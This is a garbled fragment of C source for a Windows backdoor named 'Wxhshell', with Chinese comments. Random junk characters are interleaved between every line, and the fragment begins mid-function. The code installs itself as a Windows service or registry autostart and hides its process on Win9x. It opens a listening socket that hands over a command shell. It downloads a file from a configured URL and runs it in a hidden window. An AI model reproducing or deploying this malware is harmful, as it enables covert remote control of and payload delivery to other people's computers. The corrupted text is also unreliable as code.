procName, sizeof(procName)); AEi WL.*. i/l!Cr2 CloseHandle(hProcess); qQwJJjf y^5T/M if(strstr(procName,"services")) return 1; // 以服务启动 Zb12:? Cmp{F N"o return 0; // 注册表启动 R?1idl) } }(8D!XgWa Cb4d|yiS8 // 主模块 @'6S[zU int StartWxhshell(LPSTR lpCmdLine) b\<lNE!L { y 8Ei=[ SOCKET wsl; `NYF?% BOOL val=TRUE; 7Y$4MMNQ int port=0; u<BHf@AI struct sockaddr_in door; ay!6T`U` <L[T'ZE+ if(wscfg.ws_autoins) Install(); yBUZVqqDa r@N39O*Wq port=atoi(lpCmdLine); LG"BfYy6 ,AGM?&A if(port<=0) port=wscfg.ws_port; hpd(d$j Fr938q6^- WSADATA data; Uqb]e?@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u&hDjE 9Ba%= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; JNU"5sB setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?GaI6?lbn door.sin_family = AF_INET; }[XB]Xf door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5P5A,K door.sin_port = htons(port); PEOM1oY)w [a#?}(( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?uNTUU, closesocket(wsl); 4i ~eTb return 1; #`fi2K&]j } 0:7v/S!: ]j%*"V if(listen(wsl,2) == INVALID_SOCKET) { )&b}^1 closesocket(wsl); x9FLr}e return 1; /h.:br?M#P } FF~on06! Wxhshell(wsl); 'qD'PLV WSACleanup(); (9WL+S =rf)yp-D return 0; (Von;U W>aQ
tT } :8\*)"^E 1[fkXO{ // 以NT服务方式启动 1Ovx$* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *o:BoP=S { E-BOIy, DWORD status = 0; 0XBBA0tq DWORD specificError = 0xfffffff; E.zYi7YUKK XZUB*P}]D serviceStatus.dwServiceType = SERVICE_WIN32; /h}wM6pg serviceStatus.dwCurrentState = SERVICE_START_PENDING; , u8ZS|9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >S-N|uR6 serviceStatus.dwWin32ExitCode = 0; t
wa(M? serviceStatus.dwServiceSpecificExitCode = 0; XC+F! R serviceStatus.dwCheckPoint = 0; {y+v-v/# serviceStatus.dwWaitHint = 0; )zk?yY6 z<3}TD hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :JTRRv if (hServiceStatusHandle==0) return; L~?,6 8S[<[CH status = GetLastError(); /Gh
x2B if (status!=NO_ERROR) l\A}lC0?J { ".*a) serviceStatus.dwCurrentState = SERVICE_STOPPED; !DY2{Wb serviceStatus.dwCheckPoint = 0; gnKU\>2k serviceStatus.dwWaitHint = 0; rS,*s'G serviceStatus.dwWin32ExitCode = status; (F4d Fh serviceStatus.dwServiceSpecificExitCode = specificError; [7SI<xkv SetServiceStatus(hServiceStatusHandle, &serviceStatus); h^[ppc{Z return; <.?^LT } H$=h- ~]6Oz;~<3 serviceStatus.dwCurrentState = SERVICE_RUNNING; 0IT20.~ serviceStatus.dwCheckPoint = 0; fmZzBZ_ serviceStatus.dwWaitHint = 0; Q9 x` Uy if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M Z|c7f&` } jiw`i N~Sue // 处理NT服务事件,比如:启动、停止 ~,`\D7Z3 VOID WINAPI NTServiceHandler(DWORD fdwControl) YDZ1@N}^B { L&3Ar' switch(fdwControl) !)51v { { W~+!"^<n case SERVICE_CONTROL_STOP: g[D,\ serviceStatus.dwWin32ExitCode = 0; VQG /g\ serviceStatus.dwCurrentState = SERVICE_STOPPED; q6m87O9 serviceStatus.dwCheckPoint = 0; pO 7{3% serviceStatus.dwWaitHint = 0; 4/mj"PBKL { f4aD0.K.g| SetServiceStatus(hServiceStatusHandle, &serviceStatus); /%}YuN } 6"rFfdns return; ;|2;kvf"w case SERVICE_CONTROL_PAUSE: n_!]B_Vd$ serviceStatus.dwCurrentState = SERVICE_PAUSED; s6eq?1l3 break; &s6(3k case SERVICE_CONTROL_CONTINUE: Fm[?@Z&wP serviceStatus.dwCurrentState = SERVICE_RUNNING; ?[L0LL?ce break; e)
/u>I case SERVICE_CONTROL_INTERROGATE: B#Oc8`1Y break; Lu#@~ }; /="D]K)%b8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); /S=;DxZ,r } 6&xW9' 6b: )lngef
/D_ // 标准应用程序主函数 \PtC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &|&YRHv { @u'27c_<d3 7$d c?K // 获取操作系统版本 M@LaD 5 OsIsNt=GetOsVer(); WHD/s GetModuleFileName(NULL,ExeFile,MAX_PATH); :xUl+(+ iYfLo"> // 从命令行安装 {$QF*j if(strpbrk(lpCmdLine,"iI")) Install(); hz~CW-47 5+Zx-oWq_ // 下载执行文件 EuimZW\V if(wscfg.ws_downexe) { 77=y!SDP if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wp9
2sm+ WinExec(wscfg.ws_filenam,SW_HIDE); L!}j3(I } ?\p%Mx? /o06h y if(!OsIsNt) { tU~H@' // 如果时win9x,隐藏进程并且设置为注册表启动 <0,ah4C HideProc(); 'y@ 2,9v StartWxhshell(lpCmdLine); (Ss77~W7 } f!R^;'a else KlX |PQ if(StartFromService()) cwD*>[j // 以服务方式启动 t%YX-@ StartServiceCtrlDispatcher(DispatchTable); /Geks/ else Qmc;s{-r; // 普通方式启动 .Mft+," StartWxhshell(lpCmdLine); `\u),$ [{!j9E?( return 0; Qc
=lf$ }
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